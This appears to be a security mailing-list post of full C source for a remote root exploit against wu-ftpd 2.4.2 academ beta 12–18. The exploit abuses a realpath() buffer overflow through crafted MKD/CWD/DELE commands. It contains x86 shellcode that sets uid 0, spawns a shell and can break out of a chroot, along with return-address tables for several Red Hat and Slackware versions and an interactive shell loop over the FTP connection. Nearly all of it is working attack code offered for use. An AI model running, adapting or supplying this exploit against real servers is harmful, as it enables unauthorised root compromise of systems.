wuftp2.4.2academ beta 12-18 exploit

[mixter () MIXTER ORG (Mixter)]

this works on a lot of wu-ftpd`s
also uses other commands than MKD to
exploit realpath() overflow

/*
 * Remote/local exploit for wu-ftpd [12] through [18]
 * gcc w00f.c -o w00f -Wall -O2
 *
 * Offsets/padding may need to be changed, depending on remote daemon
 * compilation options. Try offsets -5000 to 5000 in increments of 100.
 *              
 * Note: you need to use -t >0 for -any- version lower than 18.
 * Coded by smiler and cossack
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>


/* In a beta[12-17] shellcode_A overflow, we will not see responses
to our commands. Add option -c (use chroot code) to fix this. */
unsigned char hellcode_a[]=
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
        "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
        "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
        "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
        "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
        "\x0f\x42\x49\x4e\x0f\x53\x48";

unsigned char hellcode_b[]=
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
        "\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
        "\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
        "\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
        "\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
        "\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
        "\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
        "\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
        "\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
        "\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
        "\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";


char *Fgets(char *s,int size,FILE *stream);
int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
int double_up(unsigned long blah,char *doh);
int resolv(char *hostname,struct in_addr *addr);
void fatal(char *string);
int usage(char *program);
int tcp_connect(struct in_addr host,unsigned short port);
int parse_pwd(char *in,int *pwdlen);
void RunShell(int thesock);



struct type {
        unsigned long ret_address;
        unsigned char align; /* Use this only to offset \xff's used */
        signed short pad_shift; /* how little/much padding */
        unsigned char overflow_type; /* whether you have to DELE */
        char *name;
};

/* ret_pos is the same for all types of overflows, you only have to change
   the padding. This makes it neater, and gives the shellcode plenty of
   room for nops etc
 */
#define RET_POS 190
#define FTPROOT "/home/ftp"


/* the redhat 5.0 exploit doesn't work at the moment...it must be some
   trite error i am overlooking. (the shellcode exits w/ code 0375) */
struct type types[]={
        { 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },
        { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },
        { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },
        { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
        { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
        { 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
        { 0,0,0,0,NULL }
                    };

struct options {
        char start_dir[20];
        unsigned char *shellcode;
        unsigned char chroot;
        char username[10];
        char password[10];
        int offset;
        int t;
} opts;

/* Bit of a big messy function, but hey, its only an exploit */

int main(int argc,char **argv)
{
        char *argv0,ltr;
        char outbuf[1024], inbuf[1024], ret_string[5];
        int pwdlen,ctr,d;
        FILE *cin;
        int fd;
        struct in_addr victim;

        argv0 = strdup(argv[0]);
        *opts.username = *opts.password = *opts.start_dir = 0;
        opts.chroot = opts.offset = opts.t = 0;
        opts.shellcode = hellcode_a;

        while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
                switch (d) {
                case 'c':
                        opts.shellcode = hellcode_b;
                        opts.chroot = 1;
                        break;
                case 's':
                        strcpy(opts.start_dir,optarg);
                        break;
                case 'o':
                        opts.offset = atoi(optarg);
                        break;
                case 't':
                        opts.t = atoi(optarg);
                        if ((opts.t < 0)||(opts.t>5)) {
                                printf("Dont have that type!\n");
                                exit(-1);
                        }
                }
        }

        argc -= optind;
        argv += optind;
        
        if (argc < 3)
                usage(argv0);

        if (!resolv(argv[0],&victim)) {
                perror("resolving");
                exit(-1);
        }
        strcpy(opts.username,argv[1]);
        strcpy(opts.password,argv[2]);

        if ((fd = tcp_connect(victim,21)) < 0) {
                perror("connect");
                exit(-1);
        }

        if (!(cin = fdopen(fd,"r"))) {
                printf("Couldn't get stream\n");
                exit(-1);
        }

        Fgets(inbuf,sizeof(inbuf),cin);
        printf("%s",inbuf);

        if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
                fatal("Bad username\n");
        if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
                fatal("Bad password\n");

        if (*opts.start_dir)
                if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
                        fatal("Couldn't change dir\n");

        if (ftp_command(inbuf,257,cin,"PWD\n")<0)
                fatal("PWD\n");                         

        if (parse_pwd(inbuf,&pwdlen) < 0)
                fatal("PWD\n");

        srand(time(NULL));
        printf("Making padding directorys\n");
        for (ctr = 0;ctr < 4;ctr++) {
                ltr = rand()%26 + 65;
                memset(outbuf,ltr,194);
                outbuf[194]=0;
                if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                        fatal("MKD\n");
                if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
                        fatal("CWD\n");
        }

        /* Make padding directory */

        ctr = 124 - (pwdlen - types[opts.t].align);//180
        //ctr = 152 - (pwdlen - types[opts.t].align);
        ctr -= types[opts.t].pad_shift;
        if (ctr < 0) {
                exit(-1);
        }
        memset(outbuf,'A',ctr+1);
        outbuf[ctr] = 0;
        if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                fatal("MKD\n");
        if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
                fatal("CWD\n");
        
        memset(outbuf,0x90,195);
        d=0;
        for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
                outbuf[ctr] = opts.shellcode[d++];
        double_up(types[opts.t].ret_address-opts.offset,ret_string);
        strcpy(outbuf+RET_POS,ret_string);
        strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);

        printf("Press any key to send shellcode...\n");
        getchar();
        if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
                fatal("MKD\n");
        if (types[opts.t].overflow_type == 1)
                if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
                        fatal("DELE\n");
        /* HEH. For type 1 style we add a dele command. This overflow
        occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
        not checking bounds correctly, overwriting path[] in delete(). */

        RunShell(fd);
        return(1);
}

void RunShell(int thesock)
{
        int n;
        char recvbuf[1024];
        fd_set rset;

        while (1)
        {
                FD_ZERO(&rset);
                FD_SET(thesock,&rset);
                FD_SET(STDIN_FILENO,&rset);
                select(thesock+1,&rset,NULL,NULL,NULL);
                if (FD_ISSET(thesock,&rset))
                {
                        n=read(thesock,recvbuf,1024);
                        if (n <= 0)
                        {
                                printf("Connection closed\n");
                                exit(0);
                        }
                        recvbuf[n]=0;
                        printf("%s",recvbuf);
                }
                if (FD_ISSET(STDIN_FILENO,&rset))
                {
                        n=read(STDIN_FILENO,recvbuf,1024);
                        if (n>0)
                        {
                                recvbuf[n]=0;
                                write(thesock,recvbuf,n);
                        }
                }
        }
        return;
}


int double_up(unsigned long blah, char *doh)
{
        int a;
        unsigned char *ptr,*ptr2;
        bzero(doh,6);
        ptr=doh;
        ptr2=(char *)&blah;
        for (a=0;a<4;a++) {
                *ptr++=*ptr2;
                if (*ptr2==0xff) *ptr++=0xff;
                ptr2++;
        }
        return(1);
}


int parse_pwd(char *in, int *pwdlen)
{
        char *ptr1,*ptr2;

        /* 257 "/" is current directory */
        ptr1 = strchr(in,'\"');
        if (!ptr1) return(-1);
        ptr2 = strchr(ptr1+1,'\"');
        if (!ptr2) return(-1);
        *ptr2 = 0;
        *pwdlen = strlen(ptr1+1);
        /* If its just "/" then it contributes nothing to the RET_POS */
        if (*pwdlen==1) *pwdlen -= 1;
        printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
        return(1);
}

int tcp_connect(struct in_addr host,unsigned short port)
{
        struct sockaddr_in serv;
        int fd;

        fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        bzero(&serv,sizeof(serv));
        memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
        serv.sin_port = htons(port);
        serv.sin_family = AF_INET;
        if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
                return(-1);
        }
        return(fd);
}


int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
{
        va_list va;
        char line[1200];
        int val;

        va_start(va,fmt);
        vsprintf(line,fmt,va);
        va_end(va);

        if (write(fileno(out),line,strlen(line)) < 0)
                return(-1);

        bzero(buf,200);
        while(1) {
                Fgets(line,sizeof(line),out);
#ifdef DEBUG
                printf("%s",line);
#endif
                if (*(line+3)!='-') break;
        }
        strncpy(buf,line,200);
        val = atoi(line);
        if (success != val) return(-1);
        return(1);
}

void fatal(char *string)
{
        printf("%s",string);
        exit(-1);
}

char *Fgets(char *s,int size,FILE *stream)
{
        char *ptr;

        ptr = fgets(s,size,stream);
        //if (!ptr)
                //fatal("Disconnected\n");
        return(ptr);
}

int resolv(char *hostname,struct in_addr *addr)
{
        struct hostent *res;

        if (inet_aton(hostname,addr))
                return(1);

        res = gethostbyname(hostname);
        if (res == NULL)
                return(0);

        memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
        return(1);
}

int usage(char *program)
{
        fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s start_dir]\n",program);
        fprintf(stderr,"\t[-o offset] [-t type]\n");    
        fprintf(stderr,"types:\n");
        fprintf(stderr,"0 - %s\n", types[0].name);
        fprintf(stderr,"1 - %s\n", types[1].name);
        fprintf(stderr,"2 - %s\n", types[2].name);
        fprintf(stderr,"3 - %s\n", types[3].name);
        fprintf(stderr,"4 - %s\n", types[4].name);
        fprintf(stderr,"5 - %s\n", types[5].name);
        fprintf(stderr,"\n");
        exit(0);
}

/* -EOF- */